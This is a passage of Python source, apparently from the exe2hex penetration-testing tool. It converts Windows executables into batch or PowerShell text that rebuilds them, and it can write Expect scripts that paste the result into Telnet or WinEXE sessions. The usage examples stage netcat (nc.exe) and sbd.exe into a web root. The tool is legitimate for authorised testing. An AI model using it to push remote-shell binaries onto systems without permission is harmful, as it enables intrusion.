folder!\\\\n\" }\n  timeout { send_user \"\\\\n\\\\n\\\\[!\\\\] Failed to write out\\\\n\"; exit 1 }\n}\n\"\"\")\n\n        if mode == \"telnet\":\n            output += (\"\"\"## Restore prompt\nexpect \"$prompt\" { send \"\\\\r\\\\n\" }\n\"\"\")\n\n        output += (\"\"\"## Clean up\nexpect \"$prompt\" {{ send \"del /F $file_out\\\\r\" }}\n## Read in our file\nset f [open \"$file_in\"]\nset data [read $f]\nclose $f\n## Set counters\nset i 0\nset total [llength [split $data \\\\n]]\n## For each line, wait for a prompt\nforeach line [ split $data \\\\n ] {{\n  ## Skip over empty lines\n  if {{ $line eq {{}} }} continue\n  ## Increase counter\n  incr i\n  ## Double carriage return here (don't ask)\n  expect \"$prompt\" {{ send \"$line\\\\r\\\\r\" }}\n  ## Fix a telnet issues due to its output (don't ask) - progress isn't required\n  expect \"$prompt\" {{ send_user \"   (Progress: $i/$total)\\\\n\" }}\n}}\n## Show output\n#expect \"$prompt\" {{ send \"dir {0}\" }}\nsend_user \"\\\\n\\\\n\\[i\\] Done\\\\n\"\n## Start\n#expect \"$prompt\" {{ send \"start /wait /b {0}\" }}\n\"\"\").format(self.exe_filename)\n\n        if mode == \"telnet\":\n            output += (\"\"\"## Restore prompt\nexpect \"$prompt\" { send \"\\\\r\\\\n\" }\n\"\"\")\n\n        output += (\"\"\"## Give control back to user afterwards\ninteract\n\"\"\")\n        # Write file out\n        self.write_file(file, output, \"Expect\", True)\n\n        # Make the file executable\n        os.chmod(file, 0o755)\n\n    # Write output\n    def write_file(self, filepath, contents, type, overwrite=True):\n        # Do we need to HTML encode it?\n        if encode:\n            contents = urllib.parse.quote_plus(contents).replace(\"%0D%0A\", \"\\r\\n\")\n\n        if os.path.isfile(filepath) and overwrite:\n            verbose_msg(\"File already exists. Overwriting %s\" % filepath)\n\n        # Try and write the file out to disk\n        try:\n            if overwrite:\n                f = open(filepath, 'w')\n            else:\n                f = open(filepath, 'a')\n            f.write(contents)\n            f.close\n            if overwrite:\n                success_msg(\"Successfully wrote (%s) %s\" % (type, os.path.abspath(filepath)))\n        except:\n            error_msg(\"A problem occurred while writing (%s)\" % filepath)\n\n    # Main action\n    def run(self):\n        # Read binary data (file or STDIN?)\n        if self.exe_file != None:\n            # If there is a EXE input, check its valid\n            self.check_exe()\n            # If we are to compress, now is the time!\n            if compress:\n                self.compress_exe()\n            self.read_bin_file()\n        else:\n            self.read_bin_stdin()\n            # If we are to compress, now is the time & re-read it in\n            if compress:\n                self.compress_exe()\n                self.read_bin_file()\n\n        # Make BATch file (DEBUG.exe)\n        if self.method == \"1\":\n            self.check_bat_size()\n            self.bin_to_bat()\n        \n        # Make BATch file (certutil.exe) \n        if self.method == \"2\":\n            # Feedback for the user, to know where they are\n            verbose_msg('Converting to BATch (certutil.exe)')\n            self.bin_to_posh()\n            self.save_certutil_bat()\n        \n        # Make PoSh file\n        if self.method == \"3\":\n            # Feedback for the user, to know where they are\n            verbose_msg('Converting to PoSh')\n            self.bin_to_posh()\n            self.save_posh()\n\n        # Make Expect/Telnet file\n        if telnet:\n            # Are we to make a telnet file (bat)?\n            if self.output_file != None:\n                if self.method == 1:\n                    self.telnet_filename = \"%s-bat-telnet\" % (self.short_file)\n                    self.telnet_file = os.path.abspath(self.output_file.replace(self.output_filename, self.telnet_filename))\n                    self.save_expect('telnet')\n            # Are we to make a telnet file (PoSh)?\n            if self.posh_file != None:\n                self.telnet_filename = \"%s-posh-telnet\" % (self.short_file)\n                self.telnet_file = os.path.abspath(self.output_file.replace(self.output_filename, self.telnet_filename))\n                self.save_expect('telnet')\n\n        # Make Expect/WinEXE file\n        if winexe:\n            # Are we to make a winexe file (bat)?\n            if self.bat_file != None:\n                self.winexe_filename = \"%s-bat-winexe\" % (self.short_file)\n                self.winexe_file = os.path.abspath(self.output_file.replace(self.output_filename, self.winexe_filename))\n                self.save_expect('winexe')\n            # Are we to make a winexe file (PoSh)?\n            if self.posh_file != None:\n                self.winexe_filename = \"%s-posh-winexe\" % (self.short_file)\n                self.winexe_file = os.path.abspath(self.output_file.replace(self.output_filename, self.winexe_filename))\n                self.save_expect('winexe')\n\n#########################\n# End BinaryInput class #\n#########################\n\n\nsignal.signal(signal.SIGINT, signal_handler)\n\n\n################\n# Main Program #\n################\n\n# Only run if we are being used as stand-alone script\nif __name__ == \"__main__\":\n    # Display banner\n    banner_msg('exe2hex v%s' % version)\n\n    # Configure command-line option parsing\n    parser = OptionParser()\n    parser.add_option(\"-x\", dest=\"exe\",\n                      help=\"The EXE binary file to convert\", metavar=\"EXE\")\n\n    parser.add_option(\"-s\", dest=\"stdin\",\n                      help=\"Read from STDIN\", action=\"store_true\", metavar=\"STDIN\")\n                      \n    parser.add_option(\"-m\", dest=\"method\",\n                      help=\"\"\"METHOD to convert the EXE:\\t\\t\\t\n                      1 - DEBUG.exe method (.bat) - x86\\t\\t\n                      2 - certutil.exe method (.bat) - x86/x64 (DEFAULT)\\t \n                      3 - PowerShell method (.cmd) - x86/x64\"\"\", \n                      default='2',\n                      choices=['1','2','3'], \n                      metavar=\"METHOD\")\n\n    parser.add_option(\"-o\", dest=\"output_file\",\n                      help=\"Output file\", metavar=\"output\")\n\n    parser.add_option(\"-e\", dest=\"encode\", default=False,\n                      help=\"URL encode the output\", action=\"store_true\", metavar=\"ENCODE\")\n\n    parser.add_option(\"-r\", dest=\"prefix\", default='',\n                      help=\"pRefix - text to add before the command on each line\", metavar=\"TEXT\")\n\n    parser.add_option(\"-f\", dest=\"suffix\", default='',\n                      help=\"suFfix - text to add after the command on each line\", metavar=\"TEXT\")\n\n    parser.add_option(\"-l\", dest=\"hex_len\", default=128,\n                      help=\"Maximum HEX values per line\", metavar=\"INT\")\n\n    parser.add_option(\"-c\", dest=\"compress\", default=False,\n                      help=\"Clones and compress the file before converting (-cc for higher compression)\",\n                      action=\"count\", metavar=\"COMPRESS\")\n\n    parser.add_option(\"-t\", dest=\"telnet\", default=False,\n                      help=\"Create a Expect file, to automate to a Telnet session.\",\n                      action=\"store_true\", metavar=\"TELNET\")\n\n    parser.add_option(\"-w\", dest=\"winexe\", default=False,\n                      help=\"Create a Expect file, to automate to a WinEXE session.\",\n                      action=\"store_true\", metavar=\"WINEXE\")\n\n    parser.add_option(\"-v\", dest=\"verbose\", default=False,\n                      help=\"Enable verbose mode\", action=\"store_true\", metavar=\"VERBOSE\")\n\n    # Store command-line options and arguments in variables\n    (options, args) = parser.parse_args()\n    exe = options.exe\n    stdin = options.stdin\n    method = options.method\n    output_file = options.output_file\n    encode = options.encode\n    prefix = options.prefix\n    suffix = options.suffix\n    try:\n        hex_len = int(options.hex_len)\n    except:\n        error_exit('Invalid length for -l %s' % options.hex_len)\n    compress = options.compress\n    telnet = options.telnet\n    winexe = options.winexe\n    verbose = options.verbose\n\n    # Being helpful if they haven't read -h...\n    if len(sys.argv) == 2:\n        exe = sys.argv[1]\n        print('')\n        notification_msg(\"Next time use \\\"-x\\\".   e.g.: %s -x %s\" % (sys.argv[0], exe))\n        print('')\n    # Are there any arguments?\n    elif len(sys.argv) <= 1:\n        print('')\n        print(\"Encodes an executable binary file into ASCII text format\")\n        print(\"Restore using different methods (BATch or PoSh)\")\n        print('')\n        print(\"Quick Guide:\")\n        print(\" + Input binary file with -s or -x\")\n        print(\" + Output with -o\")\n        print(\"Example:\")\n        print(\" $ %s -x /usr/share/windows-binaries/sbd.exe\" % sys.argv[0])\n        print(\" $ %s -x /usr/share/windows-binaries/nc.exe -m 2 -o /var/www/html/nc.txt -cc\" % sys.argv[0])\n        print(\" $ cat /usr/share/windows-binaries/whoami.exe | %s -s -m 3 -o ps.cmd\" % sys.argv[0])\n        print('')\n        print('--- --- --- --- --- --- --- --- --- --- --- --- --- --- ---')\n        print('')\n        parser.print_help()\n        sys.exit(1)\n\n    # Any input methods?\n    if exe == None and stdin == None:\n        error_exit(\"Missing a executable file (-x <file>) or STDIN input (-s)\")\n\n    # Too many input methods?\n    if exe != None and stdin != None:\n        error_exit('Cannot use both a file and STDIN for inputs at the same time')\n    \n    # If output file was not provided, create one based on the selected method\n    if output_file == None:\n        if method == \"1\":\n            exe_filename = os.path.splitext(os.path.basename(exe))[0]\n            output_file = '%s.bat' % os.path.abspath(exe_filename)\n            notification_msg(\"Outputting to %s (BATch - DEBUG.exe)\" % (output_file))\n        \n        if method == \"2\":\n            exe_filename = os.path.splitext(os.path.basename(exe))[0]\n            output_file = '%s.bat' % os.path.abspath(exe_filename)\n            notification_msg(\"Outputting to %s (BATch - certutil.exe)\" % (output_file))\n        \n        if method == \"3\":\n            exe_filename = os.path.splitext(os.path.basename(exe))[0]\n            output_file = '%s.cmd' % os.path.abspath(exe_filename)\n            notification_msg(\"Outputting to %s (PoSh)\" % (output_file))\n            \n    # Is someone going to overwrite what they put in?\n    if stdin != None and (exe == output_file):\n        error_exit('Cannot use the same input as output')\n\n    # Read in file information\n    x = BinaryInput(exe, output_file, method)\n\n    # GO!\n    x.run()\n"
  }
]